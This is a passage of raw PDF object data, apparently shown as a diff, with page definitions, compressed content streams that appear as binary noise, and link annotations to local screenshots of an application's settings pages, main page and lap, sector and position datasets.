+/URI (./Images/Screens/wtfF1TV1.png) +>> +>> +endobj +1391 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 265.645413 39.386457 250.631013 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SobelArtefacts.png) +>> +>> +endobj +1392 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 265.645413 211.136457 216.895413 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SobelArtefacts.png) +>> +>> +endobj +1393 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 216.895413 297.637795 201.881013 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/SobelArtefacts.png) +>> +>> +endobj +1394 0 obj +<< +/Filter /FlateDecode +/Length 2645 +>> +stream +x[Kϯ|?Ab`r%BR,cToAGy!|)ڬ.ؼB^￾|sG~들2X+E)b/Uv{ +$&cb9B؜/)i_ ~8d͉ݖ1(Uws-dO򩻳t6{7&k)i#1^$ʗxkHS&ImńY]=\>|Eqv{H6%7׋cbY_wJT0.5}cYWηpmSVnm]"<9{Cz/FKǤuzԣKLOdG{n^mY]6'oKJ犏 W]g6n\ jcsIHº~LJvQZjyr4%]T]y@VhΙu#ny}uD&i[2I:6` +M+/RjK`RU *⃩XE9Xm}Y=*Եs#U]MfUtMrĽQ©";a˭c # + i-G@w[}P[ǟ^\cVܪMe5T^1 GE#DRZizZId +g>:fTm6zT<>q[rEgWjL&nn`r1|uT$ѝeѠ射)ا))} |bSjRp yBaEގD5@efA 5I^4C1=``TȵT:MGfTrtWZ +M%޼хnDA +\?{I$* MY* 3a(N-#;w0CѪ-W9IT={uHEڬ# +րll^;&D"6>:u /`!8A! #I2,X7@<܋!ǡ'h'εr/B,$7q藹QD_QJ/$[{\;/0Xv-g *Cy,:-O`͵ D"GXЂצ'ХH,i=P{ǁ}޻Cq"3p<V3*0yqY=!m^K{" Kn/ A^n̮-VU˙CMrhZawHsZDNJwV>`$:d!e8OW~f`eNB[*,ڇ* ++NZf|58o Cx?'dD/sȾ] +a?Ұ*T qC@‰Z40;pceMZpX=ZUkpz4 lȮ<W WHBW_1k&Mߴ}E̱; [ +%!{0CA>9!#ԿU0PUT C htja >p8g &ְ8iЪƾ~k001Iݷf(]2(-۳d`G`=Cmq@غ*$$qsh HW$7^OliU7IJ4nO loC6+x&ߤ9=to@!`4 9 4Յ"'6%PQ%& ux9# Y;o:=%]r恾vKq=^|XaPuLfsx8oCs)?b6Aqhb[Cbzpc#a|ĐxQu +'4F!gYe8b !yRr򄜂jF&F^ЀOU) Dk݂\|NGd(UC&8|A_'rƴo*nn:p`ާi,h/dyzBS58 vxpdje +[&_TXv'lrjca4sK:*?+<@fOTQ0V 9s+y~O~gU+%6Zb3\< V0)ϝ[2Z0LO{/*)}(_;VO`>zo0NCI]4̡_|3B8q8:.6+dtk^+ΨMിXom;-LɊŠ耐zL;Fݠjo .REtbs7e(g1[.M̈̽]i(7l_('-"' +endstream +endobj +1395 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1394 0 R +/Resources 4 0 R +/Annots [ 1396 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1396 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 135.094122 39.386457 120.079722 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/OldSettingsPage.png) +>> +>> +endobj +1397 0 obj +<< +/Filter /FlateDecode +/Length 1070 +>> +stream +xW[#5 }ﯘ?@6;SRHi._O:*'qW>28sI'kZzSH&)N r9] `jJ0ڔ] 7Ow3vi!Gj289iHDt!8u MGf>VGvǏ%->^m%ݯ a_?Jc J|}iXPhC R!82]Ï'WJe9F?^-a9'is.)aY ƍF^\W4ܯARcK޳8hª d, '>Q]de7E;Bz_@=f10֤^~`9!-1O{[& +{]r(m~8ڮ1JDdnAh#I8PK $AE|¬lvPWE6(r4BGrbb3Wgg SLnLpWܢ]5 tvQ1%k }eq>KERa[4ƞ]Zz-q +\Y*iy]kYϷ@nDnKFyl[&ƄbnpE=sqo];A{Q_;zJd.d&L'KEJ*UTc:ZRoOEKhQI5[n֐UqX:ۧ`PzU5Z4 +/I~0a o,b Z:?Eo#x0ǐ&8^ ;; BZZ4V"Ә v/'qͿ$To%ӑqow8:0Wڂ{5z IZN`,hb(/+@*U:fjY빝J|0&B:֔ZE|;@# +endstream +endobj +1398 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1397 0 R +/Resources 4 0 R +/Annots [ 1399 0 R 1400 0 R 1401 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1399 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 493.035098 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/OldSettingsPage.png) +>> +>> +endobj +1400 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 493.035098 297.637795 478.020698 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/OldSettingsPage.png) +>> +>> +endobj +1401 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 292.217498 39.386457 277.203098 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newRawSettingsPage.png) +>> +>> +endobj +1402 0 obj +<< +/Filter /FlateDecode +/Length 659 +>> +stream +xUM0 WqpX4$aڡ+vGtUij84+ hER`6U,v/G&DP(E-!oçc6D9KX([psB 0+Pn.,b9РB\J"+(hXt%]4'aLqyB?͛_tMVVUc Xt="||;I?×[WsB̂KgR!nG}h 3mH:BqBb Lv%U?ʶj?,5NEIm$5^N`!׾*J\"BڳdX1 +il"m˸k]kC{IKbKN`[QO8u^p M<:Q"{_mخ҅RbiK|ٌJ]9.l5ț́Zr߂u_rΗ@;nդh}'a=\Z:rn ]FTGl> +endobj +1404 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 440.048707 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newRawSettingsPage.png) +>> +>> +endobj +1405 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 440.048707 297.637795 425.034307 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newRawSettingsPage.png) +>> +>> +endobj +1406 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 333.071107 39.386457 318.056707 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newSettingsPageEmpty.png) +>> +>> +endobj +1407 0 obj +<< +/Filter /FlateDecode +/Length 505 +>> +stream +xn1 y\;DCRiHl%Lm{BL6LƱ?;(79\LSN ,.^[XhJ32ad_dIhn2~+ hQ T4KPtu pgZ<ܤnyTs4qU.,[Pj^ؒvz .pW?h>YN,TU,r:&;:nkZ2gvY\ $e`f%=珟>| Tic-~]wfpA Q< IWɇX-cZzգ{O἖lkA8/ڡ<#Q^uQ\FFgX[w +@E6"?oi>'Rm鴂߷oZAtQ9ދ(84E`!%Q۳9iĥz N)ksm^d󏙰Z^%_ǞF;Ps/7m?(\:wUAk> +endobj +1409 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 441.410671 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newSettingsPageEmpty.png) +>> +>> +endobj +1410 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 441.410671 297.637795 426.396271 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newSettingsPageEmpty.png) +>> +>> +endobj +1411 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 358.831471 39.386457 343.817071 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newSettingsPageEmptyFullscreen.png) +>> +>> +endobj +1412 0 obj +<< +/Filter /FlateDecode +/Length 601 +>> +stream +xTMo1 ϯ 8Njr(\*- q؝ݩ8P%.ex;h@7Ƙ$x3' OYڞ'+1bLF0ZDpF"˞ļӔK"+ :gSWts@ ״(PZ_[@C6H% bB͟61t3#!=`0ѼYH`1`Uyo\4│ ,i#"|{A/[߯.\6'NmઋZP;uQ[=]0¼P]WVͧWs(vRR!f_E " -}Ŏs(\Iu9ɻ쯯/Gœlt ~ثyq~>/x07TLzxw6@@X`,1w8`f?1"ӓCFצX1E`1_F?* :KQԬ^fz[l*lȏ\@& SX;YCb(_P xW6c'\uJ) Si!ىܶjY*#~ºO\ +endstream +endobj +1413 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1412 0 R +/Resources 4 0 R +/Annots [ 1414 0 R 1415 0 R 1416 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1414 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 493.113944 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newSettingsPageEmptyFullscreen.png) +>> +>> +endobj +1415 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 493.113944 297.637795 478.099544 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newSettingsPageEmptyFullscreen.png) +>> +>> +endobj +1416 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 410.534744 39.386457 395.520344 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newRawSettingsPageFull.png) +>> +>> +endobj +1417 0 obj +<< +/Filter /FlateDecode +/Length 1714 +>> +stream +xYɎ7+Bs_A  AjYFI`Yd{Ƌ|BXxN^ֿOO9<~_O1tv i bF+?t 9ΝwR2#&K"_>wDžK?n3ZyUТ"-ٍ;Sp/~\] 7)=\z/6nfl gŖ +yUЋюYk s\ןHS.o+ƍ-s&)H-N&p㻾O3u|]5-sc\g]ƥ:>7Xl SXi\7 5>ת16Mk17CӜP2wz@-yq0&9q#թ]I9X-B + +LeIeeNu9 TƔ4d8i +thiB`!pF0!Ews%SJ~B=wESaRoF0p((1vBVD{p*Q/r}|yCďQZEHu#FoO>&i{Y 5h䙼sKcLHOjHTJ܏b΅sT:Ct51°:@(dMRh׶@ {_ ZMjt?V)v(_IB jא?m۬]cLd3{@jp,p չ^A#yP"dBrWi;MOc^9s֍Z|9fzz"GNbgJ׫ NTrs'D⌅&=S;,beCh6,xx:,xN +ah& {RdTG 6m(l[+᳷ \1αJMAz=$7ulkv /K'_wZ8|`]i=Ti^sog0 ]+`c"| TuN( BRD0UQJ=V12ƭ29Tܳ4:SJPSuN/(EVzwDM91` (߄ıL7)tR0^/ gw *favlh.M>!9EuV޶>܁!UžR b}(.tsۋ+ѦTK;~|ϯg`#mpexܒNgh+0ѓ-QrH]yoRȧyLa +۽Λ/DYUgzm;_Ou.H c0Ɛ*05X@OdH9S9YQhQd*l)l) +endstream +endobj +1418 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1417 0 R +/Resources 4 0 R +/Annots [ 1419 0 R 1420 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1419 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 441.895733 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newRawSettingsPageFull.png) +>> +>> +endobj +1420 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 441.895733 297.637795 426.881333 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/newRawSettingsPageFull.png) +>> +>> +endobj +1421 0 obj +<< +/Filter /FlateDecode +/Length 1695 +>> +stream +xYKo7W9@i>$ hP."au ǐZJ^1oqw9-sނӎ3k8?z#-L^3p~1!Tب3Z)nwv|[g'!dFxp&S|ӗvg\h]~,j*1BN0QQg B?A5c`a2eCP뛃fW_7h xSW0z]pǜtNqw~|7 λO{Υ8|P @j| +Ãgc{}"8yu(R[Z8v2 -“BIk2VVhIuZ3.F%ü>UsNuOiώLQ&:ǯ$*VrKD~NDr&Q&0W9&_Rhr&z$C0 28(U@6^/%NMP&W{6%ݸ1++uV1.Q(t[D.} +ڧAAqrV븼)P1![m  xt/ciL1W*t\Fm/"u.yH|x˹wA4UަOgGF;)-jt"R +/f+RRd:vy˛pHmuQ=[^. +˖%N Q:L#N~z&QRy*$Q(ҊJ̘ +"S8戄f王R^(5|4kLy` z̉ד3x`QtLM%`?k_o!;d!c3%9ZɤҶ"驚:GTy$i݊h_b?6W +az0XX<B^l3Uٺ,T+mڈ|zBg˭DA^D@cFؾ#h @״.^/cqi5O0['Bw +[:T$)}3DHK%]4lULx!Lmě[7 81Lz+jDMn5w`{-FM)~d |9ҿ/G/A~*'Ùףg* + +X2h혦iy% +}\;i:NCc -VW +7 w 򁐍.+~%.*W_2qa."_K1 +endstream +endobj +1422 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1421 0 R +/Resources 4 0 R +/Annots [ 1423 0 R 1424 0 R 1425 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1423 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 662.169222 39.386457 647.154822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPageSketch.png) +>> +>> +endobj +1424 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 662.169222 555.889134 331.650019 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPageSketch.png) +>> +>> +endobj +1425 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 331.650019 297.637795 316.635619 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPageSketch.png) +>> +>> +endobj +1426 0 obj +<< +/Filter /FlateDecode +/Length 3058 +>> +stream +x[ˎWڀeR4"n`A=or $"c_Ng=N*J"2\֨˯/bZE%!zZsjQI/VEJn-Zm~~?/b^\EKo-%77/}ySV*rlR.-LEǡbˢ^nF?~Yn[Lsic]6V}A ň]Wae12zvK:o_黋 Zȟ_*' :|q9[~߿#v~T. co~NomW_8}?}}Ƽ돽]}.Osoyy]?ljq~d{f 7u6 q mu}Za[ Bm[Gkq%'nO2)V$*A2k4f_j*u5RҀtMy͚zPԓfPW +g&ȀIB +03@e׳B!7(|51=EsEH#&$;AQ'RtYjqh10`ݠoV~'exK% yjn Gu. hW-]QۀzioQ^UzZ*a&YzrgGtX}+%$[i\&g(?[6WM:M{i:r;o۟L️v 9Z3ǟm IZY:Wq; 툐PE ' +nZ(48=A BW 3ϢHxQw㲨JQ.E[Щ].s2F[MQHJRgBGO0414m l4' Y4eg74mxQvYVe^H]8n9ʴA4n%b$0 Y^=}ۭ0ej%:QxMc~Je F 8#pg|i <6f5rIxTw`[cK*B[a LV !#kʚ@>EEn d,SCwVJQ%ø]esKG}`0(>T|]푁JyTD(O\y'Sjs$N"NZ! dhpoIBbj$n]+fYKSҢ{VGdL YܠfO}՘=W 3XV+VL?Oܒ msʲޘ7z@7Ok :7:$lwJ_]\Br2YYZ,j#Np5uEpqEǹ۝"ܓ׺~ uTeFCq9J_U&_QsJנaQvd%iNҐ5 vqid:)e5ρ?hR ; ! fC7h͛'*ȴ +ݜc$G#G.9S5\@B1Uw7ߠ5L@ 4X9Lnl##!,&i͊z'vgi ) +#PHu;2{RCAQ$J&]rV*!!V&'X%=$s+ѥ#D2l4Hb4K1 aQnF$*WQމSw>!ۆC&xLҟd )5=ߏX&R7#XXZ'IJ4A BxHh`0ukFWn]c䨀3sMg$PCX2Ɇa'SEX!}ÊwtDX wGUx!xDe3=e`=aF a ?FF]+vMpLx{ƃq@j +J^0d cvv=ŽQEQB8vGO 8}"HY,硘t^D f4NSn}V%COΕg4q eЇxsZ8Qt +a `P ńXjyŠsZMa.?̨M87X(s׸FSy:'?WS[bRF S&6B0l`d s{B3iKOe*PSc|s#'o+pDءJ(6ѓϓ=J4 fHQE<ᤦM0w0W RɗcHw a] afT8JCr 1T#6$_vk/6 zx2 +9YlΪgA[<Bhviw; O~'~6 r +2(G F^֠wKJj +qxK'Wd&%54V%mKA b/ėU0xDX`We ?`9yLF4A3TҨ0h*\:(rkKKnB>=0`9QO]\qg}GSl[OÊgo7:k`pvH{Zi%b?[6&`1f_l|?}/bŗXz1[ ev_`{rmha~ͥ5,cyIZZ.vxČ +endstream +endobj +1427 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1426 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1428 0 obj +<< +/Filter /FlateDecode +/Length 1783 +>> +stream +xZK7ϯ!R@! v9z|v?Vԭ^.QR9j?c +ZSV|AS䔋t &*cdqZZ_>>!Y1&&y9//F7d4Z~Jj"B~:@&Uaa *l 홂rE1R?8zƒ_3eX+ [gcyPvFsOG2;+>C}13ɴuS^ 08e8/cҌB?y7 ~ͥ UWen^S?J 2+[}Y|Ypz-Ӧ~:WqpxzӺ9͆$/~Ϝu.1@aD.(|5h9"ՅVI8; +%]xR穮;WSLU/g]q5O*zLR2$oL4NMc.<3`03ݟSRӦFBA=aGܑ~83`L͚LR˞-'IyCazGwFuT+YÆے ݵRӲnM76Y@̟fF_N 7\tWzp +_"k`o# +endstream +endobj +1429 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1428 0 R +/Resources 4 0 R +/Annots [ 1430 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1430 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 342.480522 39.386457 327.466122 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPage1.png) +>> +>> +endobj +1431 0 obj +<< +/Filter /FlateDecode +/Length 476 +>> +stream +xSn1 Wp؎KE !݊pvrB$'q^<0+ {"i>=L{\|Xl%Uq'ȁ3"30i1V QΠTktuGtD#sv䏤bSR)`'9؄mpyVcV\p*n.젇X Bp 6 PkW*I gLi>M67u7!PÂBSu!w\Dab ~1dÖc#^@vYA1> +endobj +1433 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 416.724764 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPage1.png) +>> +>> +endobj +1434 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 416.724764 297.637795 401.710364 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPage1.png) +>> +>> +endobj +1435 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 358.543964 39.386457 343.529564 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPage2.png) +>> +>> +endobj +1436 0 obj +<< +/Filter /FlateDecode +/Length 1317 +>> +stream +xX݋6߿ρ*IXHi-I(ynCiICGcɒ}+_o)ŷ>}맱aOpB0}9|=hE#+V;,)h)8Ak:k5 ~Vh0F!D0!}}>A? +U/1R`V| dIi\ S^Ii߿`uE9X*a%q~rqh׳/bo.ZBnm&VJ;1j527\ȱ֕I?mlvK^7"t+xkt/d䛓^))cʱѫF7`hk/? 5;OMaWHkP ϲ_._i̿,-O_r=ލu>it}Y{kqأs{N( +D.pȜφ 1^gXqH'ddq"Ugaƞuf?فEV)bKɲ2^}q|CA7ӌG榌8%`A6J"gȆ&@mfkDvqq`c\K2\jc$MU]f# ģ4Y>=IO}WY7xC`Y'FLRX,\:S5bSe ;FpW`Qdž2sR(9 +_]jfS銱[(e>lhŭYIaFd*7 +r5w}w~."g $j M'>iDʡ^1hC7l[ec\vGwWCm +GȡǷ> *;|hE"޻ӌ9bgfcTNx4{ts{{sŹ2/B P߲rƖ>{RP3R ++C{*W9i/͕g^3"<.tʱUzY[,\]|ԢI-X +ISN>emLQ;/gX;4]; vsεl""za_VㆼGꥯճOR +5Dxlo7 oH~@΅!Geԝ2-t*]~ui=J-\+nzJ/bh +*ʶ-L2pLt8ݓ61 +0>&zaa?3G|IG(C f +endstream +endobj +1437 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1436 0 R +/Resources 4 0 R +/Annots [ 1438 0 R 1439 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1438 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 415.240022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPage2.png) +>> +>> +endobj +1439 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 415.240022 297.637795 400.225622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainPage2.png) +>> +>> +endobj +1440 0 obj +<< +/Filter /FlateDecode +/Length 2557 +>> +stream +x[K#Wl mB;6$ʗv?bd==@+&]_US_x)>9Q/'6Y¿tE%M^šWr;M3!àVR2{ӿO~dΞ9b~ONѼgi9tIǥ10p +E sg87v6#wk'fI҇/@l +˴0r_qo8>po167}ꇯ,X^>0E}@4s^@Qqу=n4_oJaHdah?Aьr#N#p$R߉g6䜗 +ƙS*??|"~Kv'YXxqh?W]y^zר8nuzma\|߯y,x\7LGsp+ia}S% v|OQgldOsį=YYǚ a&Qn)j !#\-@tX~uؘzJ){G#|Gp-s6Gr0.[+2fG|3bS^,;j3:B,}$4Vk +yTL`=u_#C|(4 paM +PrHRpQҌjݽ$$!ϱ??ܶ_lh +䭋VPF=*[yePEJ=W2췖mKzƵZ +4p{<[Ԇ^WnUs6V +[6HİMeuBo%T{.j }4ɾpsM*1v֌OxlYrm|e Q$ją-D`TM>,MbI+LD + }y_W}lUvbQ=g@GZWGAŪ[姣^Tun ]Р@2\2ePf(ꪜa  &֍J%xTݼ01^O qC fm\([}_kJwoL=wNV?sS(^1_@!㓵ݎ=5O8İ;f:g!mM츙x{7 K +j[yŰcs Ы.zaKC Fu΁N +N(8+(E홛feЬRVqvT4Ð(e/af-|3: +SY=uAix@NViN+Ts+`kGL[FG zK@5WT'Zc1S%"INIO˩PʴA*r ++59;k}Ո!u.g~\u|}mUSƎv')utes?=16~ +ek/s{h..EE# ?ME YڋL&"/ +endstream +endobj +1441 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1440 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1442 0 obj +<< +/Filter /FlateDecode +/Length 1006 +>> +stream +xWK6W{Ç"!e-P iH̐C"|0jz~JTJO×A5}2ni|lTaD\Jp66UY:1|?UQ`!y ?7O!hE"Ց-N*/?G`}]_':V}/4R{_nd,EF%o +lW5zUd]4wKw<6mt$|.7웵tnM9@Ƶ=kѼsFgkFWIa:SA+ hEG jw%ܔ?v|ݕ3K֋n.l,6J~J`ooed[Ltw$o߫/mYϫ `WV]MveLb(_w˷ޡ(rs'Ͷ'2`v+JlaZe@a\P"pj|SwYqP1[6+`*g{(hgY힧ڕ~HmBӿUwm[`˅mF ~p*xT32tAnK:3ĝ $y1v& +3W1e[7)A%OFҎN)mo: "&7픏 &"G;ԝD}\$5C<uCYM*$w wD!4s{G͟\;fv1InIkli :߰;=!r#qEm ;_@9;c!2s,| +S`Co`|vu]K5M .#ͯ +endstream +endobj +1443 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1442 0 R +/Resources 4 0 R +/Annots [ 1444 0 R 1445 0 R 1446 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1444 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 643.401222 39.386457 628.386822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetGaps.png) +>> +>> +endobj +1445 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 643.401222 555.889134 423.612849 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetGaps.png) +>> +>> +endobj +1446 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 423.612849 297.637795 408.598449 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetGaps.png) +>> +>> +endobj +1447 0 obj +<< +/Filter /FlateDecode +/Length 625 +>> +stream +x͎0 }Y۱cGBs@a 3]qK8 6iK=+1Fc _M-_}3$Z4‘JP|2(hCݯ%EPӀHK6j.FZM-wfM@BRFᡍ-nwGz}.|':LEnOijNj@X=7ۃ/Tr4T80RغO>rzK5ei-l/;F9&*iUѤy}xCnT]V܌yYe@XʙĤ$'C_mh^\SOv>HFgqڧb4&:*~trtIX`IWO2O*Y@d*Ǝ3T&\Q*t:WبPlMwssg EvqS)E"Oi:V{4? +=;:ZF'epǕ(J}^Omk}>慑sN^Xb :g+~`v?Qvgѱ> +endobj +1449 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 39.386457 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetLaps.png) +>> +>> +endobj +1450 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 543.796678 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetLaps.png) +>> +>> +endobj +1451 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 543.796678 297.637795 528.782278 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetLaps.png) +>> +>> +endobj +1452 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 461.217478 39.386457 446.203078 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetNames.png) +>> +>> +endobj +1453 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 461.217478 555.889134 287.480869 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetNames.png) +>> +>> +endobj +1454 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 287.480869 297.637795 272.466469 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetNames.png) +>> +>> +endobj +1455 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 204.901669 39.386457 189.887269 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetPositions.png) +>> +>> +endobj +1456 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 204.901669 555.889134 106.183012 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetPositions.png) +>> +>> +endobj +1457 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 106.183012 297.637795 91.168612 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetPositions.png) +>> +>> +endobj +1458 0 obj +<< +/Filter /FlateDecode +/Length 722 +>> +stream +xUn1 SH'T¥"nšpl)bIlI{߀S C=dR՗09&qڡHciGqir~U.^0#/D9jfH։dmIk9IUEq CSȚ脡U Vv*l̨&Xtf3N(.qjQJd9",e^z'\-:rzG: f׵<ϧ96& +G58i~ǪBo)Ê5VYŋ+ltq]o==;]a3ɒA.%;j{nl@vK2l1T.l[*vKy1Okr~=?Jf/jv`2n.3vd]wI|zK +: Ğ +endstream +endobj +1459 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1458 0 R +/Resources 4 0 R +/Annots [ 1460 0 R 1461 0 R 1462 0 R 1463 0 R 1464 0 R 1465 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1460 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 703.458822 39.386457 688.444422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DataSetSectors.png) +>> +>> +endobj +1461 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 703.458822 555.889134 506.411558 